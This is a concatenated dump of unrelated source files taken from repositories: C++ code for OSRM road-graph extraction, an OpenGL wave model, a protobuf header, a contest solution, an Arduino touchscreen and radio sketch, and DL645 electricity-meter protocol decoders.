* warning: caller needs to take care of synchronization!
*/
void ExtractorCallbacks::ProcessNode(const osmium::Node &input_node,
const ExtractionNode &result_node)
{
external_memory.all_nodes_list.push_back(
{static_cast<int>(input_node.location().lat() * COORDINATE_PRECISION),
static_cast<int>(input_node.location().lon() * COORDINATE_PRECISION),
OSMNodeID(input_node.id()),
result_node.barrier,
result_node.traffic_lights});
}
void ExtractorCallbacks::ProcessRestriction(
const boost::optional<InputRestrictionContainer> &restriction)
{
if (restriction)
{
external_memory.restrictions_list.push_back(restriction.get());
// SimpleLogger().Write() << "from: " << restriction.get().restriction.from.node <<
// ",via: " << restriction.get().restriction.via.node <<
// ", to: " << restriction.get().restriction.to.node <<
// ", only: " << (restriction.get().restriction.flags.is_only ?
// "y" : "n");
}
}
/**
* Takes the geometry contained in the ```input_way``` and the tags computed
* by the lua profile inside ```parsed_way``` and computes all edge segments.
*
* Depending on the forward/backwards weights the edges are split into forward
* and backward edges.
*
* warning: caller needs to take care of synchronization!
*/
void ExtractorCallbacks::ProcessWay(const osmium::Way &input_way, const ExtractionWay &parsed_way)
{
if (((0 >= parsed_way.forward_speed) ||
(TRAVEL_MODE_INACCESSIBLE == parsed_way.forward_travel_mode)) &&
((0 >= parsed_way.backward_speed) ||
(TRAVEL_MODE_INACCESSIBLE == parsed_way.backward_travel_mode)) &&
(0 >= parsed_way.duration))
{ // Only true if the way is specified by the speed profile
return;
}
if (input_way.nodes().size() <= 1)
{ // safe-guard against broken data
return;
}
if (std::numeric_limits<decltype(input_way.id())>::max() == input_way.id())
{
SimpleLogger().Write(logDEBUG) << "found bogus way with id: " << input_way.id()
<< " of size " << input_way.nodes().size();
return;
}
InternalExtractorEdge::WeightData forward_weight_data;
InternalExtractorEdge::WeightData backward_weight_data;
if (0 < parsed_way.duration)
{
const unsigned num_edges = (input_way.nodes().size() - 1);
// FIXME We devide by the numer of nodes here, but should rather consider
// the length of each segment. We would eigther have to compute the length
// of the whole way here (we can't: no node coordinates) or push that back
// to the container and keep a reference to the way.
forward_weight_data.duration = parsed_way.duration / num_edges;
forward_weight_data.type = InternalExtractorEdge::WeightType::WAY_DURATION;
backward_weight_data.duration = parsed_way.duration / num_edges;
backward_weight_data.type = InternalExtractorEdge::WeightType::WAY_DURATION;
}
else
{
if (parsed_way.forward_speed > 0 &&
parsed_way.forward_travel_mode != TRAVEL_MODE_INACCESSIBLE)
{
forward_weight_data.speed = parsed_way.forward_speed;
forward_weight_data.type = InternalExtractorEdge::WeightType::SPEED;
}
if (parsed_way.backward_speed > 0 &&
parsed_way.backward_travel_mode != TRAVEL_MODE_INACCESSIBLE)
{
backward_weight_data.speed = parsed_way.backward_speed;
backward_weight_data.type = InternalExtractorEdge::WeightType::SPEED;
}
}
if (forward_weight_data.type == InternalExtractorEdge::WeightType::INVALID &&
backward_weight_data.type == InternalExtractorEdge::WeightType::INVALID)
{
SimpleLogger().Write(logDEBUG) << "found way with bogus speed, id: " << input_way.id();
return;
}
// Get the unique identifier for the street name
const auto &string_map_iterator = string_map.find(parsed_way.name);
unsigned name_id = external_memory.name_lengths.size();
if (string_map.end() == string_map_iterator)
{
auto name_length = std::min<unsigned>(255u, parsed_way.name.size());
std::copy(parsed_way.name.c_str(), parsed_way.name.c_str() + name_length, std::back_inserter(external_memory.name_char_data));
external_memory.name_lengths.push_back(name_length);
string_map.insert(std::make_pair(parsed_way.name, name_id));
}
else
{
name_id = string_map_iterator->second;
}
const bool split_edge = (parsed_way.forward_speed > 0) &&
(TRAVEL_MODE_INACCESSIBLE != parsed_way.forward_travel_mode) &&
(parsed_way.backward_speed > 0) &&
(TRAVEL_MODE_INACCESSIBLE != parsed_way.backward_travel_mode) &&
((parsed_way.forward_speed != parsed_way.backward_speed) ||
(parsed_way.forward_travel_mode != parsed_way.backward_travel_mode));
std::transform(input_way.nodes().begin(), input_way.nodes().end(),
std::back_inserter(external_memory.used_node_id_list),
[](const osmium::NodeRef &ref)
{
return OSMNodeID(ref.ref());
});
const bool is_opposite_way = TRAVEL_MODE_INACCESSIBLE == parsed_way.forward_travel_mode;
// traverse way in reverse in this case
if (is_opposite_way)
{
BOOST_ASSERT(split_edge == false);
BOOST_ASSERT(parsed_way.backward_travel_mode != TRAVEL_MODE_INACCESSIBLE);
osrm::for_each_pair(input_way.nodes().crbegin(), input_way.nodes().crend(),
[&](const osmium::NodeRef &first_node, const osmium::NodeRef &last_node)
{
external_memory.all_edges_list.push_back(InternalExtractorEdge(
OSMNodeID(first_node.ref()), OSMNodeID(last_node.ref()), name_id,
backward_weight_data, true, false, parsed_way.roundabout,
parsed_way.is_access_restricted,
parsed_way.backward_travel_mode, false));
});
external_memory.way_start_end_id_list.push_back(
{OSMWayID(input_way.id()),
OSMNodeID(input_way.nodes().back().ref()),
OSMNodeID(input_way.nodes()[input_way.nodes().size() - 2].ref()),
OSMNodeID(input_way.nodes()[1].ref()),
OSMNodeID(input_way.nodes()[0].ref())});
}
else
{
const bool forward_only =
split_edge || TRAVEL_MODE_INACCESSIBLE == parsed_way.backward_travel_mode;
osrm::for_each_pair(input_way.nodes().cbegin(), input_way.nodes().cend(),
[&](const osmium::NodeRef &first_node, const osmium::NodeRef &last_node)
{
external_memory.all_edges_list.push_back(InternalExtractorEdge(
OSMNodeID(first_node.ref()), OSMNodeID(last_node.ref()), name_id, forward_weight_data,
true, !forward_only, parsed_way.roundabout,
parsed_way.is_access_restricted, parsed_way.forward_travel_mode,
split_edge));
});
if (split_edge)
{
BOOST_ASSERT(parsed_way.backward_travel_mode != TRAVEL_MODE_INACCESSIBLE);
osrm::for_each_pair(
input_way.nodes().cbegin(), input_way.nodes().cend(),
[&](const osmium::NodeRef &first_node, const osmium::NodeRef &last_node)
{
external_memory.all_edges_list.push_back(InternalExtractorEdge(
OSMNodeID(first_node.ref()), OSMNodeID(last_node.ref()), name_id, backward_weight_data, false,
true, parsed_way.roundabout, parsed_way.is_access_restricted,
parsed_way.backward_travel_mode, true));
});
}
external_memory.way_start_end_id_list.push_back(
{OSMWayID(input_way.id()),
OSMNodeID(input_way.nodes().back().ref()),
OSMNodeID(input_way.nodes()[input_way.nodes().size() - 2].ref()),
OSMNodeID(input_way.nodes()[1].ref()),
OSMNodeID(input_way.nodes()[0].ref())});
}
}
|
[
"glen@starchman.com"
] |
glen@starchman.com
|
51a8c27f7dd73fed4951e000fbacb5623c556354
|
eec87a18741a0ae04e443854180f132ac8a04d22
|
/src/waves.cpp
|
7edbdff549f65c919978985d3a53f1f8fc07ea7c
|
[] |
no_license
|
sharmamohit123/graphics3dgame
|
e3cb62eb5596f51ded6868a6499312de9ba28b3a
|
b19eee7d704f523aad5ff43c3dc1a9a91e26fbd7
|
refs/heads/master
| 2021-09-08T10:43:46.997621
| 2018-03-09T09:36:56
| 2018-03-09T09:36:56
| 122,868,065
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,670
|
cpp
|
#include "waves.h"
#include "main.h"
Waves::Waves(float x, float y, float z, color_t color) {
this->position = glm::vec3(x, y, z);
this->rotation = 0;
static const GLfloat vertex_buffer_data[] = {
/*0.0, 0.0, 0.0,
0.0, 0.0,-3.0,
-15.0, 0.0, 6.0,
0.0, 0.0, 0.0,
0.0, 0.0,-3.0,
15.0, 0.0, 6.0*/
-2.0, 0.0, 0.0,
-4.0, 0.0,35.0,
-2.5, 0.0,35.0,
-2.0, 0.0, 0.0,
-4.0, 0.0,35.0,
-3.5, 0.0, 0.0,
2.0, 0.0, 0.0,
4.0, 0.0,35.0,
2.5, 0.0,35.0,
2.0, 0.0, 0.0,
4.0, 0.0,35.0,
3.5, 0.0, 0.0,
};
this->object = create3DObject(GL_TRIANGLES, 12, vertex_buffer_data, color, GL_FILL);
}
void Waves::draw(glm::mat4 VP) {
Matrices.model = glm::mat4(1.0f);
glm::mat4 translate = glm::translate (this->position); // glTranslatef
glm::mat4 rotate = glm::rotate((float) (this->rotation * M_PI / 180.0f), glm::vec3(0, 1, 0));
rotate = rotate * glm::translate(glm::vec3(0, 0, 0));
Matrices.model *= (translate * rotate);
glm::mat4 MVP = VP * Matrices.model;
glUniformMatrix4fv(Matrices.MatrixID, 1, GL_FALSE, &MVP[0][0]);
draw3DObject(this->object);
}
void Waves::set_position(float x, float y, float z) {
this->position = glm::vec3(x, y, z);
}
/*void Waves::tick() {
this->position.x -= speed;
// this->position.y -= speed;
}*/
bounding_box_t Waves::bounding_box() {
float x = this->position.x, y = this->position.y, z = this->position.z;
//float w = this->radius, h = this->radius;
bounding_box_t bbox = { x, y, z, 4, 4, 4 };
return bbox;
}
|
[
"mohitdonsharma9@gmail.com"
] |
mohitdonsharma9@gmail.com
|
e8a86ed5accabd04cf5d1e27089b4c8b0f439fc3
|
2f874d5907ad0e95a2285ffc3592b8f75ecca7cd
|
/src/protobuf/src/google/protobuf/compiler/java/java_extension.h
|
f98317a87b3f131cb3d42bc0da383713f01e2be9
|
[
"LicenseRef-scancode-protobuf",
"MIT-Wu",
"MIT",
"ISC",
"BSL-1.0"
] |
permissive
|
dzcoin/DzCoinService
|
fb93809a37fad0a26bf26189266b44cf4c797865
|
b0056717d6bcc1741f4fb3f3f166cd8ce78393f9
|
refs/heads/master
| 2021-01-20T20:28:41.639585
| 2016-08-15T06:21:51
| 2016-08-15T06:21:51
| 65,678,478
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,959
|
h
|
// protocol buffers - google's data interchange format
// copyright 2008 google inc. all rights reserved.
// http://code.google.com/p/protobuf/
//
// redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * neither the name of google inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// this software is provided by the copyright holders and contributors
// "as is" and any express or implied warranties, including, but not
// limited to, the implied warranties of merchantability and fitness for
// a particular purpose are disclaimed. in no event shall the copyright
// owner or contributors be liable for any direct, indirect, incidental,
// special, exemplary, or consequential damages (including, but not
// limited to, procurement of substitute goods or services; loss of use,
// data, or profits; or business interruption) however caused and on any
// theory of liability, whether in contract, strict liability, or tort
// (including negligence or otherwise) arising in any way out of the use
// of this software, even if advised of the possibility of such damage.
// author: kenton@google.com (kenton varda)
// based on original protocol buffers design by
// sanjay ghemawat, jeff dean, and others.
#ifndef google_protobuf_compiler_java_extension_h__
#define google_protobuf_compiler_java_extension_h__
#include <string>
#include <google/protobuf/stubs/common.h>
namespace google {
namespace protobuf {
class fielddescriptor; // descriptor.h
namespace io {
class printer; // printer.h
}
}
namespace protobuf {
namespace compiler {
namespace java {
// generates code for an extension, which may be within the scope of some
// message or may be at file scope. this is much simpler than fieldgenerator
// since extensions are just simple identifiers with interesting types.
class extensiongenerator {
public:
explicit extensiongenerator(const fielddescriptor* descriptor);
~extensiongenerator();
void generate(io::printer* printer);
void generatenonnestedinitializationcode(io::printer* printer);
void generateregistrationcode(io::printer* printer);
private:
const fielddescriptor* descriptor_;
string scope_;
google_disallow_evil_constructors(extensiongenerator);
};
} // namespace java
} // namespace compiler
} // namespace protobuf
} // namespace google
#endif // google_protobuf_compiler_java_message_h__
|
[
"dzgrouphelp@foxmail.com"
] |
dzgrouphelp@foxmail.com
|
6c234d6244dca8d0f078b54f542da5e8288f2a2c
|
b9ed328d4bcd4aadffc5f27f28dcd72f77a4e704
|
/ADCtoCSVProtocol.h
|
4cab0e4b5e2fa18e63b6d530d8f285800e10b23a
|
[] |
no_license
|
BulSV/ADCtoCSV
|
2907c746db98f1778b0489d7f32f61a812ca4d16
|
6f8f7a82ce97ca139af82c986487d0273754b3a9
|
refs/heads/master
| 2021-01-13T01:00:33.195561
| 2015-10-01T18:03:01
| 2015-10-01T18:03:01
| 47,194,992
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 911
|
h
|
#ifndef READSENSORPROTOCOL_H
#define READSENSORPROTOCOL_H
#include "IProtocol.h"
#include "ComPort.h"
#include <QTimer>
class ADCtoCSVProtocol : public IProtocol
{
Q_OBJECT
public:
explicit ADCtoCSVProtocol(ComPort *comPort, QObject *parent = 0);
virtual void setDataToWrite(const QMultiMap<QString, QString> &data);
virtual QMultiMap<QString, QString> getReadedData() const;
signals:
public slots:
virtual void writeData();
virtual void resetProtocol();
private slots:
void readData(bool isReaded);
private:
ComPort *itsComPort;
QMultiMap<QString, QString> itsWriteData;
QMultiMap<QString, QString> itsReadData;
QTimer *m_resend;
int m_numResends;
int m_currentResend;
// преобразует word в byte
int wordToInt(QByteArray ba);
QByteArray intToByteArray(const int &value, const int &numBytes);
};
#endif // READSENSORPROTOCOL_H
|
[
"SB.ua@yandex.ru"
] |
SB.ua@yandex.ru
|
56b962afdd02ffc71213b6cbe5f572602a75bd30
|
dd6fee79066e2dfa74371bd82c87a563dc0c47fd
|
/OJ/CDOJ/Problem C. Candy Splitting.cpp
|
25132bd6f9eebbb410b7936f7360c94c45dba036
|
[] |
no_license
|
mzry1992/workspace
|
404c31df66a3b15a60dc0f07fff397bf50bcc1dc
|
9a181419f0d7224e37baa729feaf3bb656544420
|
refs/heads/master
| 2021-01-19T12:39:17.854501
| 2012-12-24T11:13:22
| 2012-12-24T11:13:22
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,065
|
cpp
|
#include <iostream>
#include <cstdio>
#include <cstring>
using namespace std;
int n;
long long c[1200];
int dig[40];
int main()
{
freopen("C-large.in","r",stdin);
freopen("AAAAAA.txt","w",stdout);
int t;
scanf("%d",&t);
for (int ft = 1;ft <= t;ft++)
{
scanf("%d",&n);
long long sum = 0;
long long minc = 19921005LL;
memset(dig,0,sizeof(dig));
for (int i = 1;i <= n;i++)
{
scanf("%lld",&c[i]);
for (int j = 1;j <= 32;j++)
if (((c[i]>>(j-1))&1) == 1)
dig[j]++;
sum += c[i];
if (c[i] < minc) minc = c[i];
}
bool hasres = true;
for (int i = 1;i <= 32;i++)
if (dig[i]%2 != 0)
{
hasres = false;
break;
}
if (hasres == false)
printf("Case #%d: NO\n",ft);
else
{
long long res = sum-minc;
printf("Case #%d: %lld\n",ft,res);
}
}
}
|
[
"muziriyun@gmail.com"
] |
muziriyun@gmail.com
|
bd6d34f16608ab598b02fa08eba4ac959751093e
|
6d99034c69f65639a1df2324914eb838cff2fbdb
|
/Test_New_methos/testVirtualMethods.cpp
|
22861eef8635806582a06853cef5e2923826bc8e
|
[] |
no_license
|
halseth/regions
|
02346b8b6d636c875128ad58138ccaf4b46034e9
|
e14457a84aeee203c81286c54128acd481fabd34
|
refs/heads/master
| 2021-01-15T05:44:11.255635
| 2016-02-17T09:16:17
| 2016-02-17T09:16:17
| 35,817,239
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,916
|
cpp
|
//
// testVirtualMethods.cpp
// New_method
//
// Created by Johan Torås Halseth on 20/05/15.
// Copyright (c) 2015 Johan Torås Halseth. All rights reserved.
//
#include "catch.hpp"
#include <iostream>
#include "store_sign.h"
#include "HatRegion.h"
TEST_CASE( "Testining virtual methods", "[Virtual methods]" ) {
// int v = 0;
// int a = 1;
// int b = 2;
//
// std::vector<int> boundaryDominators;
// boundaryDominators.push_back(a);
// boundaryDominators.push_back(b);
//
// HatRegion ha(3, v);
// int node = ha.addNode();
// ha.addEdge(v, node);
//
// // Should be valid Base- and HatRegion, but not HatABCRegion
// REQUIRE(ha.BaseRegion::isValid());
// REQUIRE(ha.HatRegion::isValid());
// REQUIRE(!ha.isValid());
//
// // Check virtual methods
// BaseRegion *br = &ha;
// REQUIRE(!br->isValid());
// HatRegion *hr = &ha;
// REQUIRE(!hr->isValid());
}
TEST_CASE( "Testing polymorphism for store_sign method", "[Virtual methods, Store_sign]" ) {
//
// int v = 0;
// int a = 1;
// int b = 2;
//
// std::vector<int> boundaryDominators;
// boundaryDominators.push_back(a);
// boundaryDominators.push_back(b);
//
// std::map<std::vector<int>, BaseRegion> sign;
// {
//// HatRegion ha(3, v);
//// int node = ha.addNode();
//// ha.addEdge(v, node);
////
//// store_sign(ha, sign);
//// REQUIRE( sign.size() == 0);
////
//// ha.addEdge(node, a);
//// store_sign(ha, sign);
//// REQUIRE( sign.size() == 1);
// }
//
// for (std::map<std::vector<int>, BaseRegion>::iterator it = sign.begin(); it != sign.end(); it++) {
// REQUIRE(it->second.getSize() == 4);
// }
//
// HatRegion h(3, v);
// int node = h.addNode();
// h.addEdge(v, node);
//
// store_sign(h, sign);
// REQUIRE( sign.size() == 2);
}
|
[
"johanth@gmail.com"
] |
johanth@gmail.com
|
a0fd66b8f4b94438dff5b57164d17137c63a55c7
|
08b3503841d51c0f6297bede580ee8bb32668200
|
/TESTING CODE/SCHERMO_v1.ino
|
6ee3abf11c5038561aacd4ffb750944e913f71bb
|
[] |
no_license
|
fedefirefox/COMPUTINGSYSTEM
|
d41b786ee1006befc4a05742a56f99b8e42b3f13
|
71e35cd0253603c6c292af80bbfd26ef36daa781
|
refs/heads/master
| 2022-01-05T15:20:04.090825
| 2019-05-05T20:29:43
| 2019-05-05T20:29:43
| 170,523,569
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 8,128
|
ino
|
#include <Adafruit_GFX.h> // Core graphics library
#include <Adafruit_TFTLCD.h> // Hardware-specific library
#include <TouchScreen.h>
#include <RF24Network.h>
#include <RF24.h>
#include <SPI.h>
RF24 radio(37, 35); // nRF24L01 (CE,CSN)
RF24Network network(radio);
const uint16_t this_node = 02; // Address of our node in Octal format ( 04,031, etc)
const uint16_t base00 = 00;
// The control pins for the LCD can be assigned to any digital or
// analog pins...but we'll use the analog pins as this allows us to
// double up the pins with the touch screen (see the TFT paint example).
//#define LCD_CS A3 // Chip Select goes to Analog 3
//#define LCD_CD A2 // Command/Data goes to Analog 2
//#define LCD_WR A1 // LCD Write goes to Analog 1
//#define LCD_RD A0 // LCD Read goes to Analog 0
//#define LCD_RESET A4 // Can alternately just connect to Arduino's reset pin
// Assign human-readable names to some common 16-bit color values:
#define BLACK 0x0000
#define BLUE 0x001F
#define RED 0xF800
#define YELLOW 0xFFE0
#define WHITE 0xFFFF
#define ILI9341_DARKGREEN 0x03E0 /* 0, 128, 0 */
#define ILI9341_BLUE 0x001F /* 0, 0, 255 */
#define ILI9341_BLACK 0x0000 /* 0, 0, 0 */
/******************* UI details */
#define BUTTON_X 10
#define BUTTON_Y 100
#define BUTTON_W 50
#define BUTTON_H 40
#define BUTTON_SPACING_Y 30
#define BUTTON_TEXTSIZE 3
// text box where title goes
#define title_X 10
#define title_Y 10
#define title_w 300
#define title_h 50
#define title_SIZE 3
#define YP A2 // must be an analog pin, use "An" notation!
#define XM A3 // must be an analog pin, use "An" notation!
#define YM 8 // can be a digital pin
#define XP 9 // can be a digital pin
#define TS_MINX 130
#define TS_MAXX 905
#define TS_MINY 75
#define TS_MAXY 930
Adafruit_GFX_Button buttons[4];
/* create 4 buttons, corresponding to the 4 vacuum chambers */
char buttonlabels[4][4] = {"1", "2", "3","4" };
// Questi parametri servono a definire il bottone on/off della modalità experiment
Adafruit_GFX_Button expmode;
char ON[3] = "ON";
char OFF[4] = "OFF";
int incomingData[3]={0,0,0};
int on_off = 1; // questa variabile serve a capire quale bottone si deve disegnare on, verde oppure off, rosso
int change = 0; // il bottone viene ridisegnato all'interno del loop solo se vi è stata una modifica nello stato del bottone
#include <MCUFRIEND_kbv.h>
MCUFRIEND_kbv tft;
TouchScreen ts = TouchScreen(XP, YP, XM, YM, 300);
// If using the shield, all control and data lines are fixed, and
// a simpler declaration can optionally be used:
// Adafruit_TFTLCD tft;
void setup(void) {
Serial.begin(9600);
Serial.println(F("TFT LCD screen"));
tft.reset();
uint16_t identifier = tft.readID();
if(identifier == 0x9325) {
Serial.println(F("Found ILI9325 LCD driver"));
} else if(identifier == 0x9328) {
Serial.println(F("Found ILI9328 LCD driver"));
} else if(identifier == 0x4535) {
Serial.println(F("Found LGDP4535 LCD driver"));
}else if(identifier == 0x7575) {
Serial.println(F("Found HX8347G LCD driver"));
} else if(identifier == 0x9341) {
Serial.println(F("Found ILI9341 LCD driver"));
}else if(identifier == 0x7783) {
Serial.println(F("Found ST7781 LCD driver"));
}else if(identifier == 0x8230) {
Serial.println(F("Found UC8230 LCD driver"));
}
else if(identifier == 0x8357) {
Serial.println(F("Found HX8357D LCD driver"));
} else if(identifier==0x0101)
{
identifier=0x9341;
Serial.println(F("Found 0x9341 LCD driver"));
}else if(identifier==0x9481)
{
Serial.println(F("Found 0x9481 LCD driver"));
}
else if(identifier==0x9486)
{
Serial.println(F("Found 0x9486 LCD driver"));
}
else {
Serial.print(F("Unknown LCD driver chip: "));
Serial.println(identifier, HEX);
Serial.println(F("If using the Adafruit 2.8\" TFT Arduino shield, the line:"));
Serial.println(F(" #define USE_ADAFRUIT_SHIELD_PINOUT"));
Serial.println(F("should appear in the library header (Adafruit_TFT.h)."));
Serial.println(F("If using the breakout board, it should NOT be #defined!"));
Serial.println(F("Also if using the breakout, double-check that all wiring"));
Serial.println(F("matches the tutorial."));
identifier=0x9486;
}
tft.begin(identifier);
Serial.print("TFT size is "); Serial.print(tft.width()); Serial.print("x"); Serial.println(tft.height());
tft.setRotation(0);
tft.fillScreen(BLACK);
tft.drawRect(title_X, title_Y, title_w, title_h, WHITE);
unsigned long start = micros();
tft.setCursor(title_X+25, title_Y+title_h/3);
tft.setTextColor(ILI9341_BLUE); tft.setTextSize(2);
// Scrivo il titolo in alto
tft.println("Camere a vuoto (mbar)");
// Diesegno i bottoni 1,2,3,4 corrispondenti alle 4 camere a vuoto
for (uint8_t row=0; row<4; row++) {
buttons[row].initButton(&tft, BUTTON_X+BUTTON_W,
BUTTON_Y+row*(BUTTON_H+BUTTON_SPACING_Y), // x, y, w, h, outline, fill, text
BUTTON_W, BUTTON_H, WHITE, ILI9341_BLUE, WHITE,
buttonlabels[row], BUTTON_TEXTSIZE);
buttons[row].drawButton();
}
// Disegno il bottone on/off per la modalità esperimento
tft.setCursor(30, 385);
tft.setTextColor(WHITE); tft.setTextSize(2.5);
tft.println("Experiment");
tft.setCursor(30, 410);
tft.setTextColor(WHITE); tft.setTextSize(2.5);
tft.println("mode..");
expmode.initButton(&tft, 240, 410, 110, 70, WHITE, ILI9341_DARKGREEN, WHITE, ON, 3);
expmode.drawButton();
//comunicazione
Serial.begin(9600);
SPI.begin();
radio.begin();
network.begin(90, this_node); //(channel, node address)
radio.setDataRate(RF24_250KBPS);
radio.setChannel(124);
}
void loop() {
int tempo,ref;
// ricezione
network.update();
tempo=millis();
ref=tempo;
int network_avail=0;
while(tempo-ref<1000){
while ( network.available() ) { // Is there any incoming data?
RF24NetworkHeader header;
Serial.println("Ricevuto messaggio");
network.read(header, &incomingData, sizeof(incomingData));
network_avail=1;
}
tempo=millis();
}
// network_avail è un booleano =1 se è stato ricevuto un messaggio
// Se network_avail=1, devo sovrascrivere lo schermo, e quindi dicsegno un rettangolo nero per coprire i dati precedenti
if (network_avail) {
tft.fillRect(BUTTON_X+130, BUTTON_Y-20, 150, 3*BUTTON_SPACING_Y+3*BUTTON_H, ILI9341_BLACK);
}
// Ora scrivo i nuovi dati sullo schermo
tft.setCursor(BUTTON_X+140, BUTTON_Y-12);
tft.setTextColor(WHITE); tft.setTextSize(3);
tft.println(incomingData[0]);
tft.setCursor(BUTTON_X+140, BUTTON_Y-12+BUTTON_SPACING_Y+BUTTON_H);
tft.setTextColor(WHITE); tft.setTextSize(3);
tft.println(incomingData[1]);
tft.setCursor(BUTTON_X+140, BUTTON_Y-12+2*BUTTON_SPACING_Y+2*BUTTON_H);
tft.setTextColor(WHITE); tft.setTextSize(3);
tft.println(incomingData[2]);
tft.setCursor(BUTTON_X+140, BUTTON_Y-12+3*BUTTON_SPACING_Y+3*BUTTON_H);
tft.setTextColor(WHITE); tft.setTextSize(3);
tft.println("23.4 e-3");
digitalWrite(13, HIGH);
TSPoint p = ts.getPoint();
digitalWrite(13, LOW);
// if sharing pins, you'll need to fix the directions of the touchscreen pins
//pinMode(XP, OUTPUT);
pinMode(XM, OUTPUT);
pinMode(YP, OUTPUT);
//pinMode(YM, OUTPUT);
// we have some minimum pressure we consider 'valid'
// pressure of 0 means no pressing!
// p = ts.getPoint();
/*
if (ts.bufferSize()) {
} else {
// this is our way of tracking touch 'release'!
p.x = p.y = p.z = -1;
}*/
// Scale from ~0->4000 to tft.width using the calibration #'s
/*
if (p.z != -1) {
p.x = map(p.x, TS_MINX, TS_MAXX, 0, tft.width());
p.y = map(p.y, TS_MINY, TS_MAXY, 0, tft.height());
Serial.print("("); Serial.print(p.x); Serial.print(", ");
Serial.print(p.y); Serial.print(", ");
Serial.print(p.z); Serial.println(") ");
}*/
}
|
[
"noreply@github.com"
] |
fedefirefox.noreply@github.com
|
87aac63a3dca9c706bf820a83860f75219f3f869
|
125f1a9c87eb76d88adec4f17d483bd52ec3c60a
|
/galaxysv/business/pcols/src/cil_cvt_float_dl645.inl
|
d69169635f92f372a05bc1c84519c9049f290228
|
[] |
no_license
|
dongdong-2009/CppProjects
|
339dc7e8b99686caa070cb534f3c37acbdebb2d9
|
2d8335a91e28d771e64ee3565809b39d0dca6883
|
refs/heads/master
| 2021-07-23T09:19:07.044408
| 2017-11-02T07:50:23
| 2017-11-02T07:50:23
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 45,404
|
inl
|
#ifndef _CIL_FLOAT_DL645_INL_H__
#define _CIL_FLOAT_DL645_INL_H__
#include <ctypes.h>
// 9XXX
int DL645_Encode_9xxx( BYTE *buff, void *appl )
{
EM_DI901X *ptr = (EM_DI901X*)appl;
double2bcd(ptr->value, buff, 8, 0);
return 4;
}
int DL645_Decode_9xxx( void *appl, BYTE *buff )
{
EM_DI901X *ptr = (EM_DI901X*)appl;
ptr->value = bcd2double(buff, 4, 0);
return 4;
}
int DL645_Decode_Fxxx( void *appl, BYTE *buff )
{
EM_DI901X *ptr = (EM_DI901X*)appl;
ptr->value = bcd2double(buff, 4, 0);
return 4;
}
// 9XXF
int DL645_Encode_9xxF( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DI901F *ptr = (EM_DI901F*)appl;
for( int i=0;i<=LINYANG_EM_MAX_TARIFFNUM;++i )
{
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI901[i]);
}
return nPos;
}
int DL645_Decode_9xxF( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DI901F *ptr = (EM_DI901F*)appl;
for( int i=0;i<=LINYANG_EM_MAX_TARIFFNUM;++i )
{
nPos += DL645_Decode_9xxx(&ptr->DI901[i], &buff[nPos]);
}
return nPos;
}
int DL645_Decode_FxxF( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DI901F *ptr = (EM_DI901F*)appl;
for( int i=0;i<=LINYANG_EM_MAX_TARIFFNUM;++i )
{
nPos += DL645_Decode_Fxxx(&ptr->DI901[i], &buff[nPos]);
}
return nPos;
}
// AXXX
int DL645_Encode_Axxx( BYTE *buff, void *appl )
{
EM_DIA01X *ptr = (EM_DIA01X*)appl;
double2bcd(ptr->value, buff, 2, 4);
return 4;
}
int DL645_Decode_Axxx( void *appl, BYTE *buff )
{
EM_DIA01X *ptr = (EM_DIA01X*)appl;
ptr->value = bcd2double(buff, 3, 4);
return 3;
}
// AXXF
int DL645_Encode_AxxF( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIA01F *ptr = (EM_DIA01F*)appl;
for( int i=0;i<=LINYANG_EM_MAX_TARIFFNUM;++i )
{
nPos += DL645_Encode_Axxx(&buff[nPos], &ptr->DIA01[i]);
}
return nPos;
}
int DL645_Decode_AxxF( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIA01F *ptr = (EM_DIA01F*)appl;
for( int i=0;i<=LINYANG_EM_MAX_TARIFFNUM;++i )
{
nPos += DL645_Decode_Axxx(&ptr->DIA01[i], &buff[nPos]);
}
return nPos;
}
// BXXX
int DL645_Encode_Bxxx( BYTE *buff, void *appl )
{
EM_DIB01X *ptr = (EM_DIB01X*)appl;
int nPos = 0;
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
return nPos;
}
int DL645_Decode_Bxxx( void *appl, BYTE *buff )
{
EM_DIB01X *ptr = (EM_DIB01X*)appl;
int nPos = 0;
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
return nPos;
}
int DL645_07_Decode_AB00( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIAB0X *ptr = (EM_DIAB0X*)appl;
ptr->value = bcd2double(&buff[nPos], 3, 4);
nPos += 3;
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
ptr->year = bcd2hex(buff[nPos++]);
return nPos;
}
int DL645_07_Decode_ABxxx( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIAB0X *ptr = (EM_DIAB0X*)appl;
for (int i = 0; i < 5; i++)
{
nPos += DL645_07_Decode_AB00(&ptr[i], &buff[nPos]);
}
return nPos;
}
// BXXX
int DL645_Encode_BxxF( BYTE *buff, void *appl )
{
EM_DIB01F *ptr = (EM_DIB01F*)appl;
int nPos = 0;
for( int i=0;i<=LINYANG_EM_MAX_TARIFFNUM;++i )
{
